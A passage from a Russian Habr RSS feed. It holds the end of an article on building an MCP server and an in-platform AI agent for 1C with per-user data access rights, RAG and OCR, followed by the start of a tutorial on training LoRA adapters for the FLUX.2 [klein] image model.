цифры сама и не имеет доступа к базе, она только вызывает инструменты и форматирует ответ.&lt;h2&gt;Права доступа&lt;/h2&gt;&lt;p&gt;Конечно, вопрос прав доступа к данным при выдаче информации от LLM к конечному пользователю очень важен. Без этого решение не может использоваться в реальных процессах на предприятии. В 1С есть определенная сложность в запуске headless-режима - 1С:Шина запускает код в базе 1С под техническим пользователем с эксклюзивными правами, которые не повторяют права каждого из бизнес-пользователей 1С. Уточню, в 1С используется Row Level Security, и эти правила для каждого пользователя (профиля пользователей) свои. То есть, 1С база будет выдавать данные сообразно правилам RLS этого технического пользователя, что нам решительно не подходит.&lt;p&gt;Тем не менее, вариант реализации запуска инструментов MCP от имени пользователя системы был найден и реализован средствами 1С.&lt;p&gt;Дальше уже дело техники: создаем токены доступа для каждого пользователя и пробрасываем их до MCP-сервера, идентифицируем пользователя по токену и передаем его в базы 1С при вызове tools. 1С отдает только доступные для этого пользователя данные.&lt;p&gt;MCP-сервер успешно заработал! LLM начала определять подключившегося пользователя, здороваться по имени (неожиданная фича), вызывать инструменты и формировать ответы.&lt;h2&gt;Модель&lt;/h2&gt;&lt;p&gt;Мы сразу определились, что будем использовать для своих решений локальные модели. Это безопасность конфиденциальных и персональных данных. В причины можно записать и независимость от внешних поставщиков, прежде всего иностранных. Хотя возможность подключить облачную модель, конечно, имеется. В итоге, используем gpt-oss-120b в локальном контуре и моделью довольны.&lt;h2&gt;Агенты&lt;/h2&gt;&lt;p&gt;Для тестирования MCP-сервера мы остановились на open-source агенте OpenCode. Также пробовали OpenWork от тех же авторов. Но OpenCode в десктопном варианте нам понравился больше, можем рекомендовать.&lt;p&gt;Кроме того, конечно, нужно было затаскивать агента в среду 1С - для работы обычного пользователя 1С это основной рабочий вариант использования.&lt;p&gt;Поэтому мы подключили еще одного нашего энтузиаста ИИ - разработчика Павла, который и начал делать агента с интерфейсной частью уже непосредственно в 1С.&lt;p&gt;При этом серверная часть агента реализована с использованием Pydantic AI.&lt;p&gt;Как работает серверная часть агента? 1С отправляет HTTP-запрос в бэкенд оркестратор. Вначале, сделана небольшая проверка на тематику запроса – прям уж сильно отвлеченные запросы к модели проходить не будут. Далее, организуется динамическая сборка системного промпта (prompt composer) и LLM в процессе первого запроса определяет необходимость вызова набора инструментов (MCP-tools или skills или сразу ответ пользователю).&lt;p&gt;А дальше уже идет цикл обращения к инструментам или навыкам с оценкой достаточности ответа самой моделью. Если ответ недостаточен, модель может вызвать новые инструменты (или те же с другими параметрами).&lt;p&gt;Конечно, есть защиты от зацикливания: ограничения на переиспользование одного и того же инструмента с теми же параметрами. И просто ограничение на количество шагов в цикле. Это ограничение настраиваемое.&lt;p&gt;Когда ответ устраивает LLM начинается обработка финализации ответа. Например, форматирование таблиц, проверка на сырой JSON в ответе пользователю и ряд других проверок.&lt;p&gt;Вся цепочка взаимодействия (запросы пользователя, агентский цикл, ответы LLM) агента логируется на стороне сервера и доступна из интерфейса 1С. Это сильно помогает при отладке работы агента.&lt;h2&gt;Skills&lt;/h2&gt;&lt;p&gt;Конечно, мы не стали отставать от современных реалий и реализовали навыки в агенте.&lt;p&gt;Есть централизованные инструменты (tools) на стороне mcp-сервера, а есть локальные навыки (skills) на стороне 1С-базы. Тулы и скилы :)&lt;p&gt;Для начала мы реализовали группу «инфраструктурных» навыков – это, к примеру, чтение объектов 1С по навигационной ссылке, чтение вложенных ссылок, чтение вложений к объекту и т.п. Эти навыки мы разместили непосредственно в коде агента 1С.&lt;p&gt;Следом появилась группа пользовательских навыков – это те, которые настраиваются и хранятся в конфигурации 1С (Хранилище значений 1С) или в виде файлов на диске. Обычно, пользовательские навыки имеют бизнес смысл, например &lt;strong&gt;&lt;em&gt;local_find_purchase_documents&lt;/em&gt;&lt;/strong&gt; (поиск документов «Приобретение товаров услуг» по заданным параметрам).&lt;p&gt;Для каждого заказчика набор пользовательских навыков нужно проектировать отдельно согласно требованиям. Это также справедливо и для инструментов MCP-сервера.&lt;p&gt;Приведем пример работы агента для конфигурации «1С:Документооборот».&lt;p&gt;1.      Пользователь спрашивает агента: «&lt;em&gt;Покажи, кто согласовывал договор №5589 и какие были комментарии?&lt;/em&gt;»;&lt;p&gt;2.      Агент находит подходящий навык для поиска документа в базе 1С – это &lt;strong&gt;&lt;em&gt;local_find_document_requests&lt;/em&gt; &lt;/strong&gt;и ищет документ;&lt;p&gt;3.      Далее, агент вызывает навык &lt;strong&gt;&lt;em&gt;local_read_document_processing_route&lt;/em&gt;&lt;/strong&gt; для извлечения данных из базы 1С по цепочке согласования;&lt;p&gt;4.      Все навыки на стороне 1С выполняются в фоновом задании под текущим сеансом. То есть, доступ к данным определяется ролевой моделью текущего пользователя;&lt;p&gt;5.      Полученные данные, включая этапы, участников, состояния документа, результаты и комментарии отправляются внутрь агента в LLM для формирования ответа пользователю;&lt;p&gt;6.      Агент возвращает ответ пользователю в удобном структурированном виде.&lt;h2&gt;UI для агента 1С&lt;/h2&gt;&lt;p&gt;Павел начал с реализации фронта агента в обработке 1С в «ПолеHTMLДокумента». Вариант хороший и позволяющий создать функциональный и современно выглядящий интерфейс чата. При этом максимально гибкий. Отмечу, что чат отрисовывается нашим скриптом js, который и взаимодействует 1С.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/2df/3f9/f37/2df3f9f37e3b28bd7302acc688d73940.png width=1008 height=574 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/2df/3f9/f37/2df3f9f37e3b28bd7302acc688d73940.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/2df/3f9/f37/2df3f9f37e3b28bd7302acc688d73940.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;В чате доступна следующая дополнительная функциональность:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Мультичат. Запоминаются ветки разговоров. Есть возможность параллельного запроса к агенту в диалогах.&lt;li&gt;&lt;p&gt;Прикрепление файлов.&lt;li&gt;&lt;p&gt;Возможность обрезать ветку по текущему сообщению.&lt;li&gt;&lt;p&gt;Редактирование сообщения и отправка агенту. После редактирования ветка снизу обрезается.&lt;li&gt;&lt;p&gt;Копирование сообщения, удаление сообщения.&lt;li&gt;&lt;p&gt;Голосовой набор.&lt;li&gt;&lt;p&gt;Экспорт диалога в HTML или PDF.&lt;/ul&gt;&lt;p&gt;Также, в функциональность агента добавлен вывод диаграмм с интерактивными контекстными командами.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/072/ee9/54c/072ee954c7a5881ccdb45cbc25f476b2.png width=1009 height=719 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/072/ee9/54c/072ee954c7a5881ccdb45cbc25f476b2.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/072/ee9/54c/072ee954c7a5881ccdb45cbc25f476b2.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;А спустя некоторое время коллеги посоветовали присмотреться к реализации чата с агентом через типовую функциональность “Обсуждений” в “Системе взаимодействия” в 1С. Сказано - сделано!&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/74f/12e/59b/74f12e59b2bfc619c723f9419b286cb5.png width=1009 height=504 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/74f/12e/59b/74f12e59b2bfc619c723f9419b286cb5.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/74f/12e/59b/74f12e59b2bfc619c723f9419b286cb5.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Такой вариант дает хорошие возможности по передаче контекста в агента и программированию предопределенных действий (контекстная команда) пользователя прямо в чате.&lt;p&gt;Хотя, конечно, вариант более ограниченный в разработке, чем полностью кастомный UI через «ПолеHTMLДокумента». Полагаю, актуальны будут оба варианта: будем смотреть на сценарии использования агента у заказчика.&lt;h2&gt;RAG и OCR&lt;/h2&gt;&lt;p&gt;Конечно, мы не могли обойти стороной тему RAG и связанную с ней тему OCR. Думаю, на любом предприятии, активно использующем 1С, необходимость в оцифровке, распознавании документации и семантическом поиске по ней будет как никогда актуальна. Здесь мы реализовали типовые пайплайны. Для OCR используем easyOCR. Для хранения векторов - Qdrant. Чанки готовим с помощью intfloat/multilingual-e5-base, реранкер BAAI/bge-reranker-base. Используем не только векторный поиск, но и поиск по метаданным. Взаимодействие с RAG и OCR реализовали через инструменты MCP.&lt;p&gt;Сценарии использования RAG видим следующие:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Во-первых, обогащение контекста для самого агента. Например, когда пользователь будет спрашивать у агента, в норме ли у нас маржинальность по новому направлению, агент должен понимать, что считается «нормой» именно для нас. И эту информацию агент сможет найти в RAG-хранилище.&lt;li&gt;&lt;p&gt;Во-вторых, это работа с данными, которых просто нет в 1С. Скажем, подробные технические характеристики номенклатуры или руководства пользователя. Загрузив их в RAG, мы даём агенту возможность отвечать на вопросы вроде «&lt;em&gt;подбери все насосы, которые могут работать с вязкими жидкостями и имеют сертификат для пищевой промышленности&lt;/em&gt;».&lt;li&gt;&lt;p&gt;Ну и в-третьих, классический сценарий использования RAG — это хранение регламентов, правил предприятия и умный семантический поиск по этой базе знаний.&lt;/ul&gt;&lt;h2&gt;Что в итоге&lt;/h2&gt;&lt;p&gt;На текущий момент мы видим контур нашего ИИ-решения, ИИ-платформы для 1С-заказчика прежде всего из:&lt;ol&gt;&lt;li&gt;&lt;p&gt;MCP-сервер, реализованный на 1С:Шина или как самостоятельный сервис.&lt;li&gt;&lt;p&gt;ИИ-Агент в конфигурации 1С или работающий на базе open-source решений.&lt;li&gt;&lt;p&gt;Набор инструментов и навыков, спроектированный и реализованный под бизнес-задачи заказчика.&lt;li&gt;&lt;p&gt;Опциональное RAG-хранилище.&lt;li&gt;&lt;p&gt;Опциональный OCR-сервис оцифровки и распознавания документов.&lt;/ol&gt;&lt;h2&gt;Сессия вопросов и ответов&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;1.      Что с безопасностью и персональными данными?&lt;/strong&gt;&lt;p&gt;Предполагаем использование или локальных моделей LLM или провайдеров в РФ с соответствующими разрешениями. Реализацию DataMasking (слой для удаления чувствительных данных) пока не предполагаем. Ограничения к данным баз 1С на основе типовых профилей доступа 1С реализованы.&lt;p&gt;&lt;strong&gt;2.      Ваш агент умеет сам писать код 1С и выполнять его потом? Ведь это и даст истинную свободу агенту!&lt;/strong&gt;&lt;p&gt;Нет. Насколько нужна истинная свобода агента в учетных системах - вопрос дискуссионный :). Но такая функциональность рассматривается, например, в части вызова отчетов СКД. Генерировать код, &lt;strong&gt;изменяющий данные в базе&lt;/strong&gt; - пока мы смотрим на этот сценарий с большой осторожностью.&lt;p&gt;&lt;strong&gt;3.      Что будет, если пользователь спросит в чате чужую зарплату?&lt;/strong&gt;&lt;p&gt;Первое. Если на уровне инструментов и навыков не реализованы функции выборки информации по зарплате, то агент физически не сможет показать эту информацию.&lt;p&gt;Далее, если функциональность чтения таких данных предусмотрена, то следующий барьер – сами права пользователя 1С в базах 1С. Если прав нет, то функции, выполняющиеся под текущим пользователем, не отдадут лишнюю информацию. Это уже определяется на уровне ролевой модели в базах 1С.&lt;p&gt;&lt;em&gt;—&lt;/em&gt;&lt;p&gt;&lt;em&gt;В принципе, на этом всё. Спасибо за внимание.  Если сталкивались с такими задачами, поделитесь опытом в комментариях — будет интересно обсудить!&lt;/em&gt;&lt;p&gt;&lt;em&gt;И, если было полезно, подписывайтесь на наш хаб.&lt;/em&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/cinimex/articles/1046197/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046197</guid>
      <pubDate>Wed, 10 Jun 2026 16:55:49 +0000</pubDate>
    </item>
    <item>
      <title>Дообучаем FLUX.2 [klein] за час на одной видеокарте: LoRA, Diffusers и Gradio без лишней боли</title>
      <link>https://habr.com/ru/companies/otus/articles/1044348/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1044348</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;FLUX.2 [klein] достаточно компактна, чтобы дообучать её на одной потребительской видеокарте. Прогон обучения LoRA для 4B-модели укладывается в 24 ГБ VRAM, занимает около часа на RTX 4090 и стоит примерно $0.50, если арендовать GPU. В этом гайде пройдём весь цикл: соберём датасет, настроим тренер, запустим обучение, загрузим результат в &lt;a href=https://github.com/huggingface/diffusers&gt;diffusers&lt;/a&gt; и завернём всё в Gradio-приложение, которое можно выложить как Hugging Face Space.&lt;p&gt;К концу у вас будет LoRA в формате &lt;code&gt;.safetensors&lt;/code&gt;, которая научит klein конкретному стилю, персонажу, визуальному образу или поведению при редактировании. А ещё — несколько важных нюансов, от которых зависит, получится ли результат пригодным или превратится в кашу.&lt;p&gt;Здесь всё работает на открытых весах. &lt;a href=https://huggingface.co/black-forest-labs/FLUX.2-klein-base-4B&gt;FLUX.2-klein-base-4B&lt;/a&gt; распространяется под Apache 2.0, так что результаты обучения можно свободно использовать в своих проектах.&lt;h2&gt;Собираем проект для Build Small Hackathon&lt;/h2&gt;&lt;p&gt;Этот гайд — часть Build Small Hackathon, который проводят Gradio и Hugging Face, а Black Forest Labs выступает одним из спонсоров. Разработка идёт с 5 по 15 июня 2026 года. Есть два ключевых ограничения: используемая модель должна быть не больше 32B параметров, а проект нужно оформить как Gradio-приложение, размещённое на Hugging Face Space.&lt;p&gt;FLUX.2 [klein] хорошо ложится в эти требования. 4B-модель с большим запасом укладывается в лимит 32B, распространяется под Apache 2.0, так что на ней можно спокойно выпускать свои проекты, и запускается на GPU самого Space. LoRA — это способ сделать модель «своей»: добавить конкретный стиль или тип редактирования под выбранный трек, будь то решение реальной задачи для кого-то из знакомых в Backyard AI или намеренно странный проект для An Adventure in Thousand Token Wood.&lt;p&gt;Дальше в гайде мы обучим такую LoRA. В последнем разделе покажем, как завернуть её в Gradio-приложение, которое вы отправите на хакатон.&lt;h3&gt;Почему для дообучения стоит взять klein&lt;/h3&gt;&lt;p&gt;FLUX.2 [klein] выпускается в двух размерах — 4B и 9B. У каждого есть distilled-вариант на 4 шага и base-вариант на 50 шагов. Для обучения LoRA нам нужен base:&lt;p&gt;Возьмём для примера 4B-модель.&lt;ul&gt;&lt;li&gt;&lt;p&gt;Она помещается. Веса занимают около 13 ГБ в bf16; прогон обучения LoRA укладывается в 24 ГБ, так что достаточно 4090 или L4.&lt;li&gt;&lt;p&gt;Это правильная цель для обучения. Distilled-модели сжаты по числу шагов ради быстрого инференса; адаптер обучается на base-чекпоинте, но затем всё равно загружается поверх distilled-модели. Так быстрее, а в наших тестах обычно ещё и даёт лучшие результаты.&lt;/ul&gt;&lt;p&gt;Если вам нужно только запустить готовую LoRA, обучать свою необязательно — на Hub уже есть LoRA от сообщества для klein. Обучать стоит тогда, когда нужен конкретный визуальный стиль, которого нет среди готовых вариантов.&lt;p&gt;&lt;strong&gt;Что понадобится&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;15–40 изображений в едином визуальном стиле: ваши работы, лицензированные фотографии или произведения из общественного достояния, например с Wikimedia Commons.&lt;li&gt;&lt;p&gt;GPU примерно на 60 минут. RTX 4090 с 24 ГБ VRAM — оптимальный вариант.&lt;li&gt;&lt;p&gt;Тренер. В этом гайде используется &lt;a href=https://github.com/ostris/ai-toolkit&gt;ostris/ai-toolkit&lt;/a&gt; — популярный тренер от сообщества с веб-интерфейсом без написания кода. Это не единственный вариант: подойдёт любой тренер, совместимый с klein.&lt;/ul&gt;&lt;h3&gt;Выберите свой вариант запуска&lt;/h3&gt;&lt;p&gt;У ai-toolkit есть веб-интерфейс, поэтому YAML вручную редактировать не придётся, если только вам самим этого не хочется. Запустить можно двумя способами:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th data-colwidth=108 width=108&gt;&lt;p align=left&gt;Вариант&lt;th data-colwidth=224 width=224&gt;&lt;p align=left&gt;Для кого лучше&lt;th&gt;&lt;p align=left&gt;Настройка&lt;tr&gt;&lt;td data-colwidth=108 width=108&gt;&lt;p align=left&gt;RunPod template&lt;td data-colwidth=224 width=224&gt;&lt;p align=left&gt;для большинства, около $0.50 за запуск&lt;td&gt;&lt;p align=left&gt;&lt;a href=&#34;https://console.runpod.io/deploy?template=0fqzfjy6f3&#34;&gt;one-click deploy&lt;/a&gt;, UI запускается автоматически&lt;tr&gt;&lt;td data-colwidth=108 width=108&gt;&lt;p align=left&gt;Local UI&lt;td data-colwidth=224 width=224&gt;&lt;p align=left&gt;если у вас есть NVIDIA GPU на 24 ГБ+&lt;td&gt;&lt;p align=left&gt;&lt;code&gt;git clone&lt;/code&gt; + &lt;code&gt;npm run build_and_start&lt;/code&gt;, открыть &lt;code&gt;localhost:8675&lt;/code&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Правила для датасета и подписей ниже одинаковые в обоих вариантах. Если хотите сначала посмотреть интерфейс, у Ostris есть двухминутное walkthrough-видео.&lt;h2&gt;Шаг 1. Собираем датасет&lt;/h2&gt;&lt;p&gt;Стилевая LoRA — самый простой способ быстро получить хороший результат. Допустим, вы хотите собрать собственную sprite-LoRA вроде той, что показана выше. Подберите 15–40 изображений в одном визуальном стиле:&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/103/59d/3f1/10359d3f109b90f50942f3f193b9bf1c.jpg width=1188 height=384 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/103/59d/3f1/10359d3f109b90f50942f3f193b9bf1c.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/103/59d/3f1/10359d3f109b90f50942f3f193b9bf1c.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Что даёт стилевая LoRA: любой промпт начинает стабильно выдавать изображения в одном и том же визуальном стиле. На примере — результаты &lt;a href=https://huggingface.co/Limbicnation/pixel-art-lora&gt;Limbicnation/pixel-art-lora&lt;/a&gt;, LoRA от сообщества для klein-4B под лицензией Apache 2.0: достаточно написать &lt;code&gt;pixel art sprite, …&lt;/code&gt;, и стиль уже «вшит» в модель.&lt;ul&gt;&lt;li&gt;&lt;p&gt;Сюжеты, ракурсы и композиции должны быть разнообразными. Не стоит повторять один и тот же фон.&lt;li&gt;&lt;p&gt;Минимум 1024 px по длинной стороне.&lt;li&gt;&lt;p&gt;Для каждого изображения нужна отдельная подпись в &lt;code&gt;.txt&lt;/code&gt; с тем же именем файла: &lt;code&gt;img (1).png&lt;/code&gt; → &lt;code&gt;img (1).txt&lt;/code&gt;.&lt;/ul&gt;&lt;h2&gt;Подписывайте содержимое, а не стиль&lt;/h2&gt;&lt;p&gt;Для стилевой LoRA подписи должны описывать только то, что находится на изображении, и ничего не говорить о стиле. Стиль — это именно то, что модель должна вывести сама.&lt;p&gt;Каждая подпись начинается с триггерного слова, после которого идёт описание объекта:&lt;pre&gt;&lt;code&gt;SPR1TE8. A knight in plate armor holding a sword, facing forward, plain background.&#xA;SPR1TE8. A fire-breathing dragon with spread wings, seen from the side.&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Не пишите &lt;code&gt;pixel art&lt;/code&gt;, &lt;code&gt;8-bit&lt;/code&gt;, &lt;code&gt;retro game&lt;/code&gt; или &lt;code&gt;sprite style&lt;/code&gt;. Если назвать стиль в подписи, модель научится опираться на это слово вместо того, чтобы вшить стиль в веса.&lt;p&gt;Выберите триггерное слово, которое не является настоящим словом и не пересекается со словарём модели: &lt;code&gt;SPR1TE8&lt;/code&gt;, &lt;code&gt;RISO_PR1NT&lt;/code&gt;, &lt;code&gt;ZK_TOON&lt;/code&gt;. Используйте его в абсолютно одинаковом виде во всех подписях и в конфиге.&lt;p&gt;Есть одно осознанное исключение: вариации, которыми вы хотите управлять позже. Не подписывайте общий визуальный стиль, который нужен всегда, — пусть он вшивается в триггер. Но если в датасете есть явные подстили, между которыми вы хотите переключаться на инференсе, их стоит назвать. Pixel-art LoRA выше делает именно так: в нескольких её подписях вариант указан явно.&lt;pre&gt;&lt;code&gt;SPR1TE8. A wizard holding a staff, chibi.SPR1TE8. A treasure chest, 16-bit pixel art.SPR1TE8. A castle on a hill, 32-bit pixel art.&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Именно эти слова — &lt;code&gt;chibi&lt;/code&gt;, &lt;code&gt;16-bit pixel art&lt;/code&gt;, &lt;code&gt;32-bit pixel art&lt;/code&gt; — станут модификаторами, которые вы будете добавлять в промпт на шаге 4. Всё, что вы записали в подписях, потом можно будет подкручивать, поэтому подписывайте изображения с оглядкой на те ручки управления, которые хотите получить.&lt;blockquote&gt;&lt;p&gt;Не хотите подписывать вручную? Любая &lt;a href=https://otus.pw/9AAh/&gt;vision-модель&lt;/a&gt; справится с автоматической генерацией подписей, если дать ей промпт в духе «опиши только содержимое, не упоминай стиль».&lt;p&gt;Затем быстро просмотрите &lt;code&gt;.txt&lt;/code&gt;-файлы и удалите все стилевые прилагательные, которые туда просочились.&lt;/blockquote&gt;&lt;h2&gt;Шаг 2. Настраиваем тренер&lt;/h2&gt;&lt;p&gt;Если используете веб-интерфейс, достаточно заполнить форму: указать датасет, выбрать FLUX.2-klein-base-4B, задать триггерное слово и запустить обучение. Если вам удобнее YAML, &lt;a href=https://docs.bfl.ai/flux_2/flux2_klein_training_example&gt;пример обучения klein от BFL&lt;/a&gt; показывает ту же задачу в виде конфиг-файла. Для каждого запуска меняются три строки:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;name:&lt;/code&gt; — ваша папка с результатами.&lt;li&gt;&lt;p&gt;&lt;code&gt;trigger_word:&lt;/code&gt; — должно совпадать с подписями.&lt;li&gt;&lt;p&gt;&lt;code&gt;datasets: folder_path:&lt;/code&gt; — путь к папке с изображениями.&lt;/ul&gt;&lt;p&gt;Также задайте &lt;code&gt;sample.prompts&lt;/code&gt; с вашим триггером, чтобы по превью-изображениям во время обучения было видно, как постепенно проявляется нужный стиль.&lt;h2&gt;Шаг 3. Обучаем&lt;/h2&gt;&lt;p&gt;В веб-интерфейсе просто нажмите Start. Через CLI:&lt;pre&gt;&lt;code&gt;cd /app/ai-toolkit&#xA;python run.py /workspace/configs/my_lora_klein_4b.yaml&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Во время обучения тренер сохраняет чекпоинт каждые 250 шагов и рядом с каждым пишет примеры изображений. Прогон на 1800 шагов на 4090 занимает меньше часа.&lt;p&gt;Смотрите на примеры изображений, а не на loss. Именно здесь чаще всего ошибаются. Loss продолжает снижаться ещё долго после того, как изображения уже начинают переобучаться. Для большинства стилевых LoRA визуальный пик приходится примерно на 750–1500 шагов, а не на финальный шаг. Откройте примеры изображений, выберите чекпоинт, который выглядит лучше всего, и используйте именно этот &lt;code&gt;.safetensors&lt;/code&gt;, а не обязательно последний.&lt;h2&gt;Шаг 4. Используем результат&lt;/h2&gt;&lt;p&gt;Чтобы подключить LoRA, достаточно добавить две строки поверх обычного пайплайна. Ниже — та самая pixel-art LoRA из начала гайда, загруженная прямо с Hub:&lt;pre&gt;&lt;code class=python&gt;from diffusers import Flux2KleinPipeline&#xA;import torch&#xA;&#xA;pipe = Flux2KleinPipeline.from_pretrained(&#xA;    &amp;#34;black-forest-labs/FLUX.2-klein-4B&amp;#34;, torch_dtype=torch.bfloat16&#xA;).to(&amp;#34;cuda&amp;#34;)&#xA;pipe.load_lora_weights(&amp;#34;Limbicnation/pixel-art-lora&amp;#34;)&#xA;&#xA;img = pipe(&#xA;    prompt=&amp;#34;pixel art sprite, a brave knight in shining armor, game asset, transparent background&amp;#34;,&#xA;    num_inference_steps=4, guidance_scale=1.0,&#xA;    height=512, width=512,&#xA;).images[0]&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Эта LoRA также реагирует на стилевые модификаторы: добавьте в промпт &lt;code&gt;16-bit pixel art&lt;/code&gt;, &lt;code&gt;32-bit pixel art&lt;/code&gt; или &lt;code&gt;chibi&lt;/code&gt;, чтобы сдвинуть визуальный стиль. Все эти модификаторы пришли из подписей, на которых её обучали. В этом и состоит отдача от хорошо собранного датасета: слова, которым вы обучаете модель, потом становятся ручками, которые можно крутить на инференсе.&lt;p&gt;Если хотите использовать свою LoRA, укажите в &lt;code&gt;load_lora_weights&lt;/code&gt; путь к вашему &lt;code&gt;.safetensors&lt;/code&gt; или к вашему репозиторию на Hub и подставьте своё триггерное слово.&lt;p&gt;Обучение идёт на base-4B, а инференс — на distilled-версии FLUX.2-klein-4B на 4 шага, как в примере выше. При применении LoRA к distilled-модели результат обычно получается лучше, чем на базовой модели, и работает это быстрее, поэтому обученную LoRA рекомендуется запускать именно так.&lt;p&gt;Если не хочется писать код просто ради проверки результата, в стартовом Space для Build Small есть отдельная вкладка: она загружает LoRA и рендерит базовую и дообученную версии с одинаковым seed, чтобы можно было сразу увидеть, что именно изменил адаптер.&lt;h2&gt;Обучаем LoRA для редактирования&lt;/h2&gt;&lt;p&gt;FLUX.2 [klein] также поддерживает редактирование, поэтому можно обучить и LoRA для редактирования: подаёте фотографию, на выходе получаете её преобразованную версию — с перекрашиванием, сменой стиля, добавлением или удалением объекта, заменой фона. В klein оба режима идут через один пайплайн: &lt;code&gt;Flux2KleinPipeline&lt;/code&gt; работает как text-to-image, если не передавать &lt;code&gt;image=&lt;/code&gt;, и как image-edit, если &lt;code&gt;image=&lt;/code&gt; передан. Поэтому LoRA для редактирования — это просто LoRA, в датасете которой рядом с каждым target есть входное изображение. Модель та же, тренер тот же — всё отличие только в данных.&lt;p&gt;Для конкретики вот LoRA, которую я обучил для этого гайда: &lt;a href=https://huggingface.co/stephenbtl/ugly-kontext-klein-4b-lora&gt;stephenbtl/ugly-kontext-klein-4b-lora&lt;/a&gt; под Apache 2.0. Она берёт фотографию питомца и перерисовывает её в нарочито грубый «ugly sketch», сохраняя позу и композицию исходника. Обучение шло на 120 парных примерах: входная фотография плюс выходной скетч.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a26/a83/d9e/a26a83d9e0ca658cc631882e84c25c56.jpg alt=&#34;LoRA в действии: на вход подаётся фотография слева, на выходе получается «ugly sketch» справа, при этом поза и кадрирование кота сохраняются. Это результат промпта change the photo the cat into an ugly sketch of the same cat, запущенного на пайплайне base-4B с подключённым адаптером.&#34; title=&#34;LoRA в действии: на вход подаётся фотография слева, на выходе получается «ugly sketch» справа, при этом поза и кадрирование кота сохраняются. Это результат промпта change the photo the cat into an ugly sketch of the same cat, запущенного на пайплайне base-4B с подключённым адаптером.&#34; width=1040 height=556 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a26/a83/d9e/a26a83d9e0ca658cc631882e84c25c56.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a26/a83/d9e/a26a83d9e0ca658cc631882e84c25c56.jpg 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;LoRA в действии: на вход подаётся фотография слева, на выходе получается «ugly sketch» справа, при этом поза и кадрирование кота сохраняются. Это результат промпта &lt;code&gt;change the photo the cat into an ugly sketch of the same cat&lt;/code&gt;, запущенного на пайплайне base-4B с подключённым адаптером.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;По сравнению с рецептом для стилевой LoRA меняются три вещи.&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Датасет становится парным.&lt;/strong&gt; Вместо одной плоской папки нужны две:&lt;/ol&gt;&lt;pre&gt;&lt;code&gt;ugly_kontext/&#xA;  reference/   inputs         100.jpg, 101.jpg, ...&#xA;  target/      edited outputs 100.jpg, 101.jpg, ...&#xA;               + captions     100.txt, 101.txt, ...&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img 